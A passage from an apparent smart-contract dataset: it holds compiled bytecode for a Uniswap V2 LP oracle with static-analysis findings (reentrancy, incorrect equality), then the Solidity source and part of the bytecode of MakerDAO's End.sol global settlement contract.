8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6000821415611a115780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a5d565b6001821415611a5c5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b7f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a78282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611de6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b600560149054906101000a900463ffffffff1681565b6000611ec2600560149054906101000a900463ffffffff1663ffffffff16600460149054906101000a900463ffffffff1663ffffffff16612877565b421015905090565b600460149054906101000a900463ffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611f94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60006001819055507f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b60405160405180910390a1565b60006020528060005260406000206000915090505481565b7f000000000000000000000000000000000000000000000000000000000000001281565b7f000000000000000000000000000000000000000000000000000000000000001281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612104576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561225c57600080fd5b505af1158015612270573d6000803e3d6000fd5b505050506000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156122e157600080fd5b505afa1580156122f5573d6000803e3d6000fd5b505050506040513d606081101561230b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092506000836dffffffffffffffffffffffffffff1611801561236657506000826dffffffffffffffffffffffffffff16115b6123d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f696e76616c69642d7265736572766573000081525060200191505060405180910390fd5b809350428463ffffffff16146123ed57600080fd5b601260ff167f000000000000000000000000000000000000000000000000000000000000001260ff16146124615761244960127f000000000000000000000000000000000000000000000000000000000000001260ff166128fa565b600a0a836dffffffffffffffffffffffffffff160292505b601260ff167f000000000000000000000000000000000000000000000000000000000000001260ff16146124d5576124bd60127f000000000000000000000000000000000000000000000000000000000000001260ff166128fa565b600a0a826dffffffffffffffffffffffffffff160291505b6000612501846dffffffffffffffffffffffffffff16846dffffffffffffffffffffffffffff1661297d565b90506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d602081101561259757600080fd5b810190808051906020019092919050505090506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561261457600080fd5b505afa158015612628573d6000803e3d6000fd5b505050506040513d602081101561263e57600080fd5b8101908080519060200190929190505050905060008214156126ab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b126024913960400191505060405180910390fd5b6000811415612705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b5c6024913960400191505060405180910390fd5b600061272261271d856127188587612a12565b612a4a565b612a8a565b90506000670de0b6b3a76400006127398684612a12565b8161274057fe5b0490506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ad57600080fd5b505afa1580156127c1573d6000803e3d6000fd5b505050506040513d60208110156127d757600080fd5b8101908080519060200190929190505050905060008111612843576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612aed6025913960400191505060405180910390fd5b6128686128626128538588612a4a565b61285d8588612a4a565b612877565b82612a12565b9a505050505050505050509091565b60008282840191508110156128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284039150811115612977576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b60008082148061299a575082828385029250828161299757fe5b04145b612a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b600081612a3a612a2a85670de0b6b3a764000061297d565b60028581612a3457fe5b04612877565b81612a4157fe5b04905092915050565b6000670de0b6b3a7640000612a7a612a62858561297d565b6002670de0b6b3a764000081612a7457fe5b04612877565b81612a8157fe5b04905092915050565b60006003821115612ad9578190506000600160028481612aa657fe5b040190505b81811015612ad357809150600281828581612ac257fe5b040181612acb57fe5b049050612aab565b50612ae7565b60008214612ae657600190505b5b91905056fe554e4956324c504f7261636c652f696e76616c69642d6c702d746f6b656e2d737570706c79554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a2646970667358221220e599d708073da5d75f40a1cf8a338fb7b59c9d8f808932a3645acb9baf2d766264736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,625 |
0xFB4713C20CCD81c53BC55e12923d37a4f0DB3E93 | // SPDX-License-Identifier: AGPL-3.0-or-later
/// end.sol -- global settlement engine
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
// Copyright (C) 2018 Lev Livnev <lev@liv.nev.org.uk>
// Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.6.12;
interface VatLike {
function dai(address) external view returns (uint256);
function ilks(bytes32 ilk) external returns (
uint256 Art, // [wad]
uint256 rate, // [ray]
uint256 spot, // [ray]
uint256 line, // [rad]
uint256 dust // [rad]
);
function urns(bytes32 ilk, address urn) external returns (
uint256 ink, // [wad]
uint256 art // [wad]
);
function debt() external returns (uint256);
function move(address src, address dst, uint256 rad) external;
function hope(address) external;
function flux(bytes32 ilk, address src, address dst, uint256 rad) external;
function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external;
function suck(address u, address v, uint256 rad) external;
function cage() external;
}
interface CatLike {
function ilks(bytes32) external returns (
address flip,
uint256 chop, // [ray]
uint256 lump // [rad]
);
function cage() external;
}
interface DogLike {
function ilks(bytes32) external returns (
address clip,
uint256 chop,
uint256 hole,
uint256 dirt
);
function cage() external;
}
interface PotLike {
function cage() external;
}
interface VowLike {
function cage() external;
}
interface FlipLike {
function bids(uint256 id) external view returns (
uint256 bid, // [rad]
uint256 lot, // [wad]
address guy,
uint48 tic, // [unix epoch time]
uint48 end, // [unix epoch time]
address usr,
address gal,
uint256 tab // [rad]
);
function yank(uint256 id) external;
}
interface ClipLike {
function sales(uint256 id) external view returns (
uint256 pos,
uint256 tab,
uint256 lot,
address usr,
uint96 tic,
uint256 top
);
function yank(uint256 id) external;
}
interface PipLike {
function read() external view returns (bytes32);
}
interface SpotLike {
function par() external view returns (uint256);
function ilks(bytes32) external view returns (
PipLike pip,
uint256 mat // [ray]
);
function cage() external;
}
/*
This is the `End` and it coordinates Global Settlement. This is an
involved, stateful process that takes place over nine steps.
First we freeze the system and lock the prices for each ilk.
1. `cage()`:
- freezes user entrypoints
- cancels flop/flap auctions
- starts cooldown period
- stops pot drips
2. `cage(ilk)`:
- set the cage price for each `ilk`, reading off the price feed
We must process some system state before it is possible to calculate
the final dai / collateral price. In particular, we need to determine
a. `gap`, the collateral shortfall per collateral type by
considering under-collateralised CDPs.
b. `debt`, the outstanding dai supply after including system
surplus / deficit
We determine (a) by processing all under-collateralised CDPs with
`skim`:
3. `skim(ilk, urn)`:
- cancels CDP debt
- any excess collateral remains
- backing collateral taken
We determine (b) by processing ongoing dai generating processes,
i.e. auctions. We need to ensure that auctions will not generate any
further dai income.
In the two-way auction model (Flipper) this occurs when
all auctions are in the reverse (`dent`) phase. There are two ways
of ensuring this:
4a. i) `wait`: set the cooldown period to be at least as long as the
longest auction duration, which needs to be determined by the
cage administrator.
This takes a fairly predictable time to occur but with altered
auction dynamics due to the now varying price of dai.
ii) `skip`: cancel all ongoing auctions and seize the collateral.
This allows for faster processing at the expense of more
processing calls. This option allows dai holders to retrieve
their collateral faster.
`skip(ilk, id)`:
- cancel individual flip auctions in the `tend` (forward) phase
- retrieves collateral and debt (including penalty) to owner's CDP
- returns dai to last bidder
- `dent` (reverse) phase auctions can continue normally
Option (i), `wait`, is sufficient (if all auctions were bidded at least
once) for processing the system settlement but option (ii), `skip`,
will speed it up. Both options are available in this implementation,
with `skip` being enabled on a per-auction basis.
In the case of the Dutch Auctions model (Clipper) they keep recovering
debt during the whole lifetime and there isn't a max duration time
guaranteed for the auction to end.
So the way to ensure the protocol will not receive extra dai income is:
4b. i) `snip`: cancel all ongoing auctions and seize the collateral.
`snip(ilk, id)`:
- cancel individual running clip auctions
- retrieves remaining collateral and debt (including penalty)
to owner's CDP
When a CDP has been processed and has no debt remaining, the
remaining collateral can be removed.
5. `free(ilk)`:
- remove collateral from the caller's CDP
- owner can call as needed
After the processing period has elapsed, we enable calculation of
the final price for each collateral type.
6. `thaw()`:
- only callable after processing time period elapsed
- assumption that all under-collateralised CDPs are processed
- fixes the total outstanding supply of dai
- may also require extra CDP processing to cover vow surplus
7. `flow(ilk)`:
- calculate the `fix`, the cash price for a given ilk
- adjusts the `fix` in the case of deficit / surplus
At this point we have computed the final price for each collateral
type and dai holders can now turn their dai into collateral. Each
unit dai can claim a fixed basket of collateral.
Dai holders must first `pack` some dai into a `bag`. Once packed,
dai cannot be unpacked and is not transferrable. More dai can be
added to a bag later.
8. `pack(wad)`:
- put some dai into a bag in preparation for `cash`
Finally, collateral can be obtained with `cash`. The bigger the bag,
the more collateral can be released.
9. `cash(ilk, wad)`:
- exchange some dai from your bag for gems from a specific ilk
- the number of gems is limited by how big your bag is
*/
contract End {
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "End/not-authorized");
_;
}
// --- Data ---
VatLike public vat; // CDP Engine
CatLike public cat;
DogLike public dog;
VowLike public vow; // Debt Engine
PotLike public pot;
SpotLike public spot;
uint256 public live; // Active Flag
uint256 public when; // Time of cage [unix epoch time]
uint256 public wait; // Processing Cooldown Length [seconds]
uint256 public debt; // Total outstanding dai following processing [rad]
mapping (bytes32 => uint256) public tag; // Cage price [ray]
mapping (bytes32 => uint256) public gap; // Collateral shortfall [wad]
mapping (bytes32 => uint256) public Art; // Total debt per ilk [wad]
mapping (bytes32 => uint256) public fix; // Final cash price [ray]
mapping (address => uint256) public bag; // [wad]
mapping (bytes32 => mapping (address => uint256)) public out; // [wad]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
event File(bytes32 indexed what, address data);
event Cage();
event Cage(bytes32 indexed ilk);
event Snip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art);
event Skip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art);
event Skim(bytes32 indexed ilk, address indexed urn, uint256 wad, uint256 art);
event Free(bytes32 indexed ilk, address indexed usr, uint256 ink);
event Thaw();
event Flow(bytes32 indexed ilk);
event Pack(address indexed usr, uint256 wad);
event Cash(bytes32 indexed ilk, address indexed usr, uint256 wad);
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
live = 1;
emit Rely(msg.sender);
}
// --- Math ---
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
require(z >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, y) / RAY;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, RAY) / y;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, WAD) / y;
}
// --- Administration ---
function file(bytes32 what, address data) external auth {
require(live == 1, "End/not-live");
if (what == "vat") vat = VatLike(data);
else if (what == "cat") cat = CatLike(data);
else if (what == "dog") dog = DogLike(data);
else if (what == "vow") vow = VowLike(data);
else if (what == "pot") pot = PotLike(data);
else if (what == "spot") spot = SpotLike(data);
else revert("End/file-unrecognized-param");
emit File(what, data);
}
function file(bytes32 what, uint256 data) external auth {
require(live == 1, "End/not-live");
if (what == "wait") wait = data;
else revert("End/file-unrecognized-param");
emit File(what, data);
}
// --- Settlement ---
function cage() external auth {
require(live == 1, "End/not-live");
live = 0;
when = block.timestamp;
vat.cage();
cat.cage();
dog.cage();
vow.cage();
spot.cage();
pot.cage();
emit Cage();
}
function cage(bytes32 ilk) external {
require(live == 0, "End/still-live");
require(tag[ilk] == 0, "End/tag-ilk-already-defined");
(Art[ilk],,,,) = vat.ilks(ilk);
(PipLike pip,) = spot.ilks(ilk);
// par is a ray, pip returns a wad
tag[ilk] = wdiv(spot.par(), uint256(pip.read()));
emit Cage(ilk);
}
function snip(bytes32 ilk, uint256 id) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(address _clip,,,) = dog.ilks(ilk);
ClipLike clip = ClipLike(_clip);
(, uint256 rate,,,) = vat.ilks(ilk);
(, uint256 tab, uint256 lot, address usr,,) = clip.sales(id);
vat.suck(address(vow), address(vow), tab);
clip.yank(id);
uint256 art = tab / rate;
Art[ilk] = add(Art[ilk], art);
require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow");
vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art));
emit Snip(ilk, id, usr, tab, lot, art);
}
function skip(bytes32 ilk, uint256 id) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(address _flip,,) = cat.ilks(ilk);
FlipLike flip = FlipLike(_flip);
(, uint256 rate,,,) = vat.ilks(ilk);
(uint256 bid, uint256 lot,,,, address usr,, uint256 tab) = flip.bids(id);
vat.suck(address(vow), address(vow), tab);
vat.suck(address(vow), address(this), bid);
vat.hope(address(flip));
flip.yank(id);
uint256 art = tab / rate;
Art[ilk] = add(Art[ilk], art);
require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow");
vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art));
emit Skip(ilk, id, usr, tab, lot, art);
}
function skim(bytes32 ilk, address urn) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
(uint256 ink, uint256 art) = vat.urns(ilk, urn);
uint256 owe = rmul(rmul(art, rate), tag[ilk]);
uint256 wad = min(ink, owe);
gap[ilk] = add(gap[ilk], sub(owe, wad));
require(wad <= 2**255 && art <= 2**255, "End/overflow");
vat.grab(ilk, urn, address(this), address(vow), -int256(wad), -int256(art));
emit Skim(ilk, urn, wad, art);
}
function free(bytes32 ilk) external {
require(live == 0, "End/still-live");
(uint256 ink, uint256 art) = vat.urns(ilk, msg.sender);
require(art == 0, "End/art-not-zero");
require(ink <= 2**255, "End/overflow");
vat.grab(ilk, msg.sender, msg.sender, address(vow), -int256(ink), 0);
emit Free(ilk, msg.sender, ink);
}
function thaw() external {
require(live == 0, "End/still-live");
require(debt == 0, "End/debt-not-zero");
require(vat.dai(address(vow)) == 0, "End/surplus-not-zero");
require(block.timestamp >= add(when, wait), "End/wait-not-finished");
debt = vat.debt();
emit Thaw();
}
function flow(bytes32 ilk) external {
require(debt != 0, "End/debt-zero");
require(fix[ilk] == 0, "End/fix-ilk-already-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
uint256 wad = rmul(rmul(Art[ilk], rate), tag[ilk]);
fix[ilk] = rdiv(mul(sub(wad, gap[ilk]), RAY), debt);
emit Flow(ilk);
}
function pack(uint256 wad) external {
require(debt != 0, "End/debt-zero");
vat.move(msg.sender, address(vow), mul(wad, RAY));
bag[msg.sender] = add(bag[msg.sender], wad);
emit Pack(msg.sender, wad);
}
function cash(bytes32 ilk, uint256 wad) external {
require(fix[ilk] != 0, "End/fix-ilk-not-defined");
vat.flux(ilk, address(this), msg.sender, rmul(wad, fix[ilk]));
out[ilk][msg.sender] = add(out[ilk][msg.sender], wad);
require(out[ilk][msg.sender] <= bag[msg.sender], "End/insufficient-bag-balance");
emit Cash(ilk, msg.sender, wad);
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806389ea45d31161010f578063d4e8be83116100a2578063e488181311610071578063e488181314610794578063e6ee62aa146107c8578063ee6447b51461080a578063fe8507c61461084c576101e5565b8063d4e8be83146106b8578063e1340a3d14610706578063e2702fdc14610748578063e2b0caef14610776576101e5565b8063bf353dbb116100de578063bf353dbb1461059c578063c3b3ad7f146105f4578063c83062c614610628578063c939ebfc14610656576101e5565b806389ea45d3146104945780639255f809146104e2578063957aa58c1461053a5780639c52a7f114610558576101e5565b80635920375c1161018757806365fae35e1161015657806365fae35e146103e457806369245009146104285780636ea42555146104325780636f265b9314610460576101e5565b80635920375c14610346578063626cb3c51461035057806363fad85e1461038457806364bd7013146103c6576101e5565b806338c6de40116101c357806338c6de40146102745780634a10eaa6146102ac5780634ba2363a146102da578063503ecf061461030e576101e5565b80630dca59c1146101ea57806329ae81141461020857806336569e7714610240575b600080fd5b6101f2610884565b6040518082815260200191505060405180910390f35b61023e6004803603604081101561021e57600080fd5b81019080803590602001909291908035906020019092919050505061088a565b005b610248610a94565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102aa6004803603604081101561028a57600080fd5b810190808035906020019092919080359060200190929190505050610aba565b005b6102d8600480360360208110156102c257600080fd5b810190808035906020019092919050505061118c565b005b6102e2611431565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103446004803603604081101561032457600080fd5b810190808035906020019092919080359060200190929190505050611457565b005b61034e611cc7565b005b61035861206e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b06004803603602081101561039a57600080fd5b8101908080359060200190929190505050612094565b6040518082815260200191505060405180910390f35b6103ce6120ac565b6040518082815260200191505060405180910390f35b610426600480360360208110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120b2565b005b6104306121f0565b005b61045e6004803603602081101561044857600080fd5b8101908080359060200190929190505050612665565b005b6104686128bb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e0600480360360408110156104aa57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128e1565b005b610524600480360360208110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ddf565b6040518082815260200191505060405180910390f35b610542612df7565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dfd565b005b6105de600480360360208110156105b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f3b565b6040518082815260200191505060405180910390f35b6105fc612f53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106546004803603602081101561063e57600080fd5b8101908080359060200190929190505050612f79565b005b6106a26004803603604081101561066c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334c565b6040518082815260200191505060405180910390f35b610704600480360360408110156106ce57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613371565b005b6107326004803603602081101561071c57600080fd5b81019080803590602001909291905050506137f6565b6040518082815260200191505060405180910390f35b6107746004803603602081101561075e57600080fd5b810190808035906020019092919050505061380e565b005b61077e613c3f565b6040518082815260200191505060405180910390f35b61079c613c45565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107f4600480360360208110156107de57600080fd5b8101908080359060200190929190505050613c6b565b6040518082815260200191505060405180910390f35b6108366004803603602081101561082057600080fd5b8101908080359060200190929190505050613c83565b6040518082815260200191505060405180910390f35b6108826004803603604081101561086257600080fd5b810190808035906020019092919080359060200190929190505050613c9b565b005b600a5481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461093e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b6001600754146109b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f77616974000000000000000000000000000000000000000000000000000000008214156109ea5780600981905550610a58565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7826040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000848152602001908152602001600020541415610b44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050608060405180830381600087803b158015610bbb57600080fd5b505af1158015610bcf573d6000803e3d6000fd5b505050506040513d6080811015610be557600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505050506040513d60a0811015610cbf57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060008060008473ffffffffffffffffffffffffffffffffffffffff1663b5f522f7886040518263ffffffff1660e01b81526004018082815260200191505060c06040518083038186803b158015610d5457600080fd5b505afa158015610d68573d6000803e3d6000fd5b505050506040513d60c0811015610d7e57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505093509350935050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610ebf57600080fd5b505af1158015610ed3573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff166326e027f1886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506000848481610f4d57fe5b049050610f6d600d60008b81526020019081526020016000205482614018565b600d60008b81526020019081526020016000208190555060008312158015610f96575060008112155b611008576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408a8430600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff16888a7ffc67e20caaffa015d51f696df8ea5c273ba269c69bdc2ec31c1334d01286eaa487878660405180848152602001838152602001828152602001935050505060405180910390a4505050505050505050565b6000600a541415611205576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e6000838152602001908152602001600020541461128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f6669782d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b505050506040513d60a081101561132f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006113a9611390600d60008681526020019081526020016000205484614032565b600b600086815260200190815260200160002054614032565b90506113e86113e06113ce83600c60008881526020019081526020016000205461405b565b6b033b2e3c9fd0803ce8000000614075565b600a546140a1565b600e600085815260200190815260200160002081905550827f8d1d5ae676a6db1f6f14414f8a6c78941bbfb700fe3f3be6d3245f26c2f2d55060405160405180910390a2505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008481526020019081526020016000205414156114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1